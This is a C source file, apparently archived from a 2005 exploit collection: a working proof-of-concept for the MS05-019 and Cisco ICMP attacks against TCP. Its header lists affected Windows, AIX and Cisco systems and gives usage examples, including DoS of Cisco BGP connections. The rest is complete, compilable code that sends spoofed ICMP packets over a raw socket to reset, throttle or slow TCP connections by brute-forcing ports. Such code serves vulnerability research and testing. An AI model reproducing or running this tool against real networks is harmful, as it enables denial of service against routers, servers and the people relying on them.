home *** CD-ROM | disk | FTP | other *** search
- /* HOD-icmp-attacks-poc.c: 2005-04-15: PUBLIC v.0.2
- * *
- * * Copyright (c) 2004-2005 houseofdabus.
- * *
- * * (MS05-019) (CISCO:20050412)
- * * ICMP attacks against TCP (Proof-of-Concept)
- * *
- * *
- * *
- * * .::[ houseofdabus ]::.
- * *
- * *
- * *
- * * [ for more details:
- * * [ http://www.livejournal.com/users/houseofdabus
- * * ---------------------------------------------------------------------
- * * Systems Affected:
- * * - Cisco Content Services Switch 11000 Series (WebNS)
- * * - Cisco Global Site Selector (GSS) 4480 1.x
- * * - Cisco IOS 10.x
- * * - Cisco IOS 11.x
- * * - Cisco IOS 12.x
- * * - Cisco IOS R11.x
- * * - Cisco IOS R12.x
- * * - Cisco IOS XR (CRS-1) 3.x
- * * - Cisco ONS 15000 Series
- * * - Cisco PIX 6.x
- * * - Cisco SAN-OS 1.x (MDS 9000 Switches)
- * * - AIX 5.x
- * * - Windows Server 2003
- * * - Windows XP SP2
- * * - Windows XP SP1
- * * - Windows 2000 SP4
- * * - Windows 2000 SP3
- * * ...
- * *
- * * ---------------------------------------------------------------------
- * * Description:
- * * A denial of service vulnerability exists that could allow an
- * * attacker to send a specially crafted Internet Control Message
- * * Protocol (ICMP) message to an affected system. An attacker who
- * * successfully exploited this vulnerability could cause the affected
- * * system to reset existing TCP connections, reduce the throughput
- * * in existing TCP connections, or consume large amounts of CPU and
- * * memory resources.
- * * (CAN-2004-0790, CAN-2004-0791, CAN-2004-1060)
- * *
- * * ---------------------------------------------------------------------
- * * Solution:
- * * http://www.microsoft.com/technet/security/Bulletin/MS05-019.mspx
- * * http://www.cisco.com/warp/public/707/cisco-sa-20050412-icmp.shtml
- * *
- * * Other References:
- * * http://www.gont.com.ar/drafts/icmp-attacks-against-tcp.html
- * * http://www.kb.cert.org/vuls/id/222750
- * *
- * * ---------------------------------------------------------------------
- * * Tested on:
- * * - Windows Server 2003
- * * - Windows XP SP1
- * * - Windows 2000 SP4
- * * - Cisco IOS 11.x
- * *
- * * ---------------------------------------------------------------------
- * * Compile:
- * *
- * * Win32/VC++ : cl -o HOD-icmp-attacks-poc HOD-icmp-attacks-poc.c
- * * Win32/cygwin: gcc -o HOD-icmp-attacks-poc HOD-icmp-attacks-poc.c
- * * Linux : gcc -o HOD-icmp-attacks-poc HOD-icmp-attacks-poc.c
- * *
- * * ---------------------------------------------------------------------
- * * Examples:
- * *
- * * client <---> router <---> router <---> server
- * *
- * * CLIENT <---> SERVER
- * *
- * * HOD-icmp.exe -fi:serverIP -ti:clientIP -fp:80 -tp:1023 -a:1
- * * (abort the connection)
- * *
- * * HOD-icmp.exe -fi:serverIP -ti:clientIP -fp:80 -tp:1023 -a:2
- * * (slow down the transmission rate for traffic)
- * *
- * *
- * * ROUTER1 <---> ROUTER2
- * *
- * * HOD-icmp.exe -fi:routerIP2 -ti:routerIP1 -fp:179 -a:1
- * * (DoS Cisco BGP Connections)
- * *
- * * HOD-icmp.exe -fi:routerIP2 -ti:routerIP1 -fp:80 -a:2
- * * (slow down the transmission rate for traffic)
- * *
- * * ---------------------------------------------------------------------
- * *
- * * This is provided as proof-of-concept code only for educational
- * * purposes and testing by authorized individuals with permission
- * * to do so.
- * *
- * */
-
- /* #define _WIN32 */
-
- #ifdef _WIN32
- #pragma comment(lib,"ws2_32")
- #pragma pack(1)
- #define WIN32_LEAN_AND_MEAN
- #include <winsock2.h>
- /* IP_HDRINCL */
- #include <ws2tcpip.h>
-
- #else
- #include <sys/types.h>
- #include <netinet/in.h>
- #include <sys/socket.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <arpa/inet.h>
- #include <netdb.h>
- #include <sys/timeb.h>
- #endif
-
- #include <string.h>
- #include <stdio.h>
- #include <stdlib.h>
-
- #define MAX_PACKET 4096
-
- #define DEFAULT_PORT 80
- #define DEFAULT_IP "192.168.0.1"
- #define DEFAULT_COUNT 1
-
- /* Define the IP header */
- typedef struct ip_hdr {
- unsigned char ip_verlen; /* IP version & length */
- unsigned char ip_tos; /* IP type of service */
- unsigned short ip_totallength; /* Total length */
- unsigned short ip_id; /* Unique identifier */
- unsigned short ip_offset; /* Fragment offset field */
- unsigned char ip_ttl; /* Time to live */
- unsigned char ip_protocol; /* Protocol */
- unsigned short ip_checksum; /* IP checksum */
- unsigned int ip_srcaddr; /* Source address */
- unsigned int ip_destaddr; /* Destination address */
- } IP_HDR, *PIP_HDR;
-
- /* Define the ICMP header */
- /* Destination Unreachable Message */
- typedef struct icmp_hdr {
- unsigned char type; /* Type */
- unsigned char code; /* Code */
- unsigned short checksum; /* Checksum */
- unsigned long unused; /* Unused */
- } ICMP_HDR, *PICMP_HDR;
-
- /* 64 bits of Original Data Datagram (TCP header) */
- char msg[] =
- "\x00\x50" /* Source port */
- "\x00\x50" /* Destination port */
- "\x23\x48\x4f\x44";
-
- /* globals */
- unsigned long dwToIP, /* IP to send to */
- dwFromIP; /* IP to send from (spoof) */
- unsigned short iToPort, /* Port to send to */
- iFromPort; /* Port to send from (spoof) */
- unsigned long dwCount; /* Number of times to send */
- unsigned long Attack;
-
- void
- usage(char *progname) {
- printf("Usage:\n\n");
- printf("%s <-fi:SRC-IP> <-ti:VICTIM-IP> <-fi:SRC-PORT> [-tp:int]
- [-a:int] [-n:int]\n\n", progname);
- printf(" -fi:IP From (sender) IP address\n");
- printf(" -ti:IP To (target) IP address\n");
- printf(" -fp:int Target open TCP port number\n");
- printf(" (for example - 21, 25, 80)\n");
- printf(" -tp:int Inicial value for bruteforce (sender) TCP port number\n");
- printf(" (default: 0 = range of ports 0-65535)\n");
- printf(" -n:int Number of packets\n\n");
- printf(" -a:int ICMP attacks:\n");
- printf(" 1 - Blind connection-reset attack\n");
- printf(" (ICMP protocol unreachable)\n");
- printf(" 2 - Path MTU discovery attack\n");
- printf(" (slow down the transmission rate)\n");
- printf(" 3 - ICMP Source Quench attack\n");
- exit(1);
- }
-
- void
- ValidateArgs(int argc, char **argv)
- {
- int i;
-
- iToPort = 0;
- iFromPort = DEFAULT_PORT;
- dwToIP = inet_addr(DEFAULT_IP);
- dwFromIP = inet_addr(DEFAULT_IP);
- dwCount = DEFAULT_COUNT;
- Attack = 1;
-
- for (i = 1; i < argc; i++) {
- if ((argv[i][0] == '-') || (argv[i][0] == '/')) {
- switch (tolower(argv[i][1])) {
- case 'f':
- switch (tolower(argv[i][2])) {
- case 'p':
- if (strlen(argv[i]) > 4)
- iFromPort = atoi(&argv[i][4]);
- break;
- case 'i':
- if (strlen(argv[i]) > 4)
- dwFromIP = inet_addr(&argv[i][4]);
- break;
- default:
- usage(argv[0]);
- break;
- }
- break;
- case 't':
- switch (tolower(argv[i][2])) {
- case 'p':
- if (strlen(argv[i]) > 4)
- iToPort = atoi(&argv[i][4]);
- break;
- case 'i':
- if (strlen(argv[i]) > 4)
- dwToIP = inet_addr(&argv[i][4]);
- break;
- default:
- usage(argv[0]);
- break;
- }
- break;
- case 'n':
- if (strlen(argv[i]) > 3)
- dwCount = atol(&argv[i][3]);
- break;
- case 'a':
- if (strlen(argv[i]) > 3)
- Attack = atol(&argv[i][3]);
- if ((Attack > 3) || (Attack < 1))
- usage(argv[0]);
- break;
- default:
- usage(argv[0]);
- break;
- }
- }
- }
- return;
- }
-
- /* This function calculates the 16-bit one's complement sum */
- /* for the supplied buffer */
- unsigned short
- checksum(unsigned short *buffer, int size)
- {
- unsigned long cksum = 0;
-
- while (size > 1) {
- cksum += *buffer++;
- size -= sizeof(unsigned short);
- }
- if (size) {
- cksum += *(unsigned char *)buffer;
- }
- cksum = (cksum >> 16) + (cksum & 0xffff);
- cksum += (cksum >>16);
-
- return (unsigned short)(~cksum);
- }
-
- int
- main(int argc, char **argv)
- {
-
- #ifdef _WIN32
- WSADATA wsd;
- #endif
- int s;
- #ifdef _WIN32
- BOOL bOpt;
- #else
- int bOpt;
- #endif
- struct sockaddr_in remote;
- IP_HDR ipHdr,
- ipHdrInc;
- ICMP_HDR icmpHdr;
- int ret;
- unsigned long i, p;
- unsigned short iTotalSize,
- iIPVersion,
- iIPSize,
- p2,
- cksum = 0;
- char buf[MAX_PACKET],
- *ptr = NULL;
- #ifdef _WIN32
- IN_ADDR addr;
- #else
- struct sockaddr_in addr;
- #endif
-
- printf("\n (MS05-019) (CISCO:20050412)\n");
- printf(" ICMP attacks against TCP (Proof-of-Concept)\n\n");
- printf(" Copyright (c) 2004-2005 .: houseofdabus :.\n\n\n");
-
- if (argc < 3) usage(argv[0]);
-
- /* Parse command line arguments and print them out */
- ValidateArgs(argc, argv);
- #ifdef _WIN32
- addr.S_un.S_addr = dwFromIP;
- printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr), iFromPort);
- addr.S_un.S_addr = dwToIP;
- printf("[*] To IP: <%s>, port: %d\n", inet_ntoa(addr), iToPort);
- printf("[*] Count: %d\n", dwCount);
- #else
- addr.sin_addr.s_addr = dwFromIP;
- printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), iFromPort);
- addr.sin_addr.s_addr = dwToIP;
- printf("[*] To IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), iToPort);
- printf("[*] Count: %d\n", dwCount);
- #endif
-
- #ifdef _WIN32
- if (WSAStartup(MAKEWORD(2,2), &wsd) != 0) {
- printf("[-] WSAStartup() failed: %d\n", GetLastError());
- return -1;
- }
- #endif
- /* Creating a raw socket */
- s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
- #ifdef _WIN32
- if (s == INVALID_SOCKET) {
- #else
- if (s < 0) {
- #endif
- printf("[-] socket() failed\n");
- return -1;
- }
-
- /* Enable the IP header include option */
- #ifdef _WIN32
- bOpt = TRUE;
- #else
- bOpt = 1;
- #endif
- ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof(bOpt));
- #ifdef _WIN32
- if (ret == SOCKET_ERROR) {
- printf("[-] setsockopt(IP_HDRINCL) failed: %d\n", WSAGetLastError());
- return -1;
- }
- #endif
-
- /* Initalize the IP header */
- iTotalSize = sizeof(ipHdr) + sizeof(icmpHdr) + sizeof(msg)-1 + sizeof(ipHdrInc);
-
- iIPVersion = 4;
- iIPSize = sizeof(ipHdr) / sizeof(unsigned long);
-
- ipHdr.ip_verlen = (iIPVersion << 4) | iIPSize;
- ipHdr.ip_tos = 0; /* IP type of service */
- /* Total packet len */
- ipHdr.ip_totallength = htons(iTotalSize);
- ipHdr.ip_id = htons(42451); /* Unique identifier */
- ipHdr.ip_offset = 0; /* Fragment offset field */
- ipHdr.ip_ttl = 255; /* Time to live */
- ipHdr.ip_protocol = 0x1; /* Protocol(ICMP) */
- ipHdr.ip_checksum = 0; /* IP checksum */
- ipHdr.ip_srcaddr = dwFromIP; /* Source address */
- ipHdr.ip_destaddr = dwToIP; /* Destination address */
-
- ipHdrInc.ip_verlen = (iIPVersion << 4) | iIPSize;
- ipHdrInc.ip_tos = 0; /* IP type of service */
- /* Total packet len */
- ipHdrInc.ip_totallength = htons(sizeof(ipHdrInc)+20);
- ipHdrInc.ip_id = htons(25068); /* Unique identifier */
- ipHdrInc.ip_offset = 0; /* Fragment offset field */
- ipHdrInc.ip_ttl = 255; /* Time to live */
- ipHdrInc.ip_protocol = 0x6; /* Protocol(TCP) */
- ipHdrInc.ip_checksum = 0; /* IP checksum */
- ipHdrInc.ip_srcaddr = dwToIP; /* Source address */
- ipHdrInc.ip_destaddr = dwFromIP;/* Destination address */
-
- /* Initalize the ICMP header */
- icmpHdr.checksum = 0;
- if (Attack == 1) {
- icmpHdr.type = 3; /* Destination Unreachable Message */
- icmpHdr.code = 2; /* protocol unreachable */
- icmpHdr.unused = 0;
- } else if (Attack == 2) {
- icmpHdr.type = 3; /* Destination Unreachable Message */
- icmpHdr.code = 4; /* fragmentation needed and DF set */
- icmpHdr.unused = 0x44000000; /* next-hop MTU - 68 */
- } else {
- icmpHdr.type = 4; /* Source Quench Message */
- icmpHdr.code = 0;
- icmpHdr.unused = 0;
- }
-
- memset(buf, 0, MAX_PACKET);
- ptr = buf;
-
- memcpy(ptr, &ipHdr, sizeof(ipHdr)); ptr += sizeof(ipHdr);
- memcpy(ptr, &icmpHdr, sizeof(icmpHdr)); ptr += sizeof(icmpHdr);
- memcpy(ptr, &ipHdrInc, sizeof(ipHdrInc)); ptr += sizeof(ipHdrInc);
- memcpy(ptr, msg, sizeof(msg)-1);
- iFromPort = htons(iFromPort);
- memcpy(ptr, &iFromPort, 2);
-
- remote.sin_family = AF_INET;
- remote.sin_port = htons(iToPort);
- remote.sin_addr.s_addr = dwToIP;
-
- cksum = checksum((unsigned short *)&ipHdrInc, 20);
- memcpy(buf+20+sizeof(icmpHdr)+10, &cksum, 2);
-
- cksum = checksum((unsigned short *)&ipHdr, 20);
- memcpy(buf+10, &cksum, 2);
-
- for (p = iToPort; p <= 65535; p++) {
- p2 = htons((short)p);
- memcpy((char *)(ptr+2), &p2, 2);
- buf[22] = 0;
- buf[23] = 0;
- cksum = checksum((unsigned short *)(buf+20), sizeof(icmpHdr)+28);
- memcpy(buf+20+2, &cksum, 2);
-
- for (i = 0; i < dwCount; i++) {
- #ifdef _WIN32
- ret = sendto(s, buf, iTotalSize, 0, (SOCKADDR *)&remote,
- sizeof(remote));
- #else
- ret = sendto(s, buf, iTotalSize, 0, (struct sockaddr *) &remote,
- sizeof(remote));
- #endif
- #ifdef _WIN32
- if (ret == SOCKET_ERROR) {
- #else
- if (ret < 0) {
- #endif
- printf("[-] sendto() failed\n");
- break;
- }
- }
- }
-
- #ifdef _WIN32
- closesocket(s);
- WSACleanup();
- #endif
-
- return 0;
- }
-